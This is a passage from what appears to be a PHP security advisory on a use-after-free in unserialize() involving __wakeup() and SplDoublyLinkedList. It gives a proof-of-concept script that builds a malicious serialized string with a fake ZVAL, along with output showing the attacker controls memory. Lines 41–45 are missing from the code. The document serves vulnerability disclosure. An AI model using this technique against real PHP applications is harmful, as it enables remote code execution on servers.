33 | It has been demonstrated many times before that __wakeup() leads to ZVAL is freed from memory. However during deserialization will still allow to use R: or r: to set references to that already freed memory. It is possible to use-after-free attack and execute arbitrary code remotely.
34 |
35 | Proof of Concept Exploit
36 | ------------
37 | The PoC works on standard MacOSX 10.11 installation of PHP 5.6.12.
38 |
39 | ```
40 | ryat = 1;
46 | }
47 | }
48 |
49 | $fakezval = ptr2str(1122334455);
50 | $fakezval .= ptr2str(0);
51 | $fakezval .= "\x00\x00\x00\x00";
52 | $fakezval .= "\x01";
53 | $fakezval .= "\x00";
54 | $fakezval .= "\x00\x00";
55 |
56 | $inner = 'i:1234;:i:1;';
57 | $exploit = 'a:5:{i:0;i:1;i:1;C:19:"SplDoublyLinkedList":'.strlen($inner).':{'.$inner.'}i:2;O:3:"obj":1:{s:4:"ryat";R:3;}i:3;a:1:{i:0;R:5;}i:4;s:'.strlen($fakezval).':"'.$fakezval.'";}';
58 |
59 | $data = unserialize($exploit);
60 |
61 | var_dump($data);
62 |
63 | function ptr2str($ptr)
64 | {
65 | $out = '';
66 | for ($i = 0; $i < 8; $i++) {
67 | $out .= chr($ptr & 0xff);
68 | $ptr >>= 8;
69 | }
70 | return $out;
71 | }
72 |
73 | ?>
74 | ```
75 |
76 | Test the PoC on the command line:
77 |
78 | ```
79 | $ php uafpoc.php
80 | array(5) {
81 | [0]=>
82 | int(1)
83 | [1]=>
84 | &int(1)
85 | [2]=>
86 | object(obj)#2 (1) {
87 | ["ryat"]=>
88 | &int(1)
89 | }
90 | [3]=>
91 | array(1) {
92 | [0]=>
93 | int(1122334455) <=== so we can control the memory and create fake ZVAL :)
94 | }
95 | [4]=>
96 | string(24) "?v?B????"
97 | }
98 | ```
99 |
--------------------------------------------------------------------------------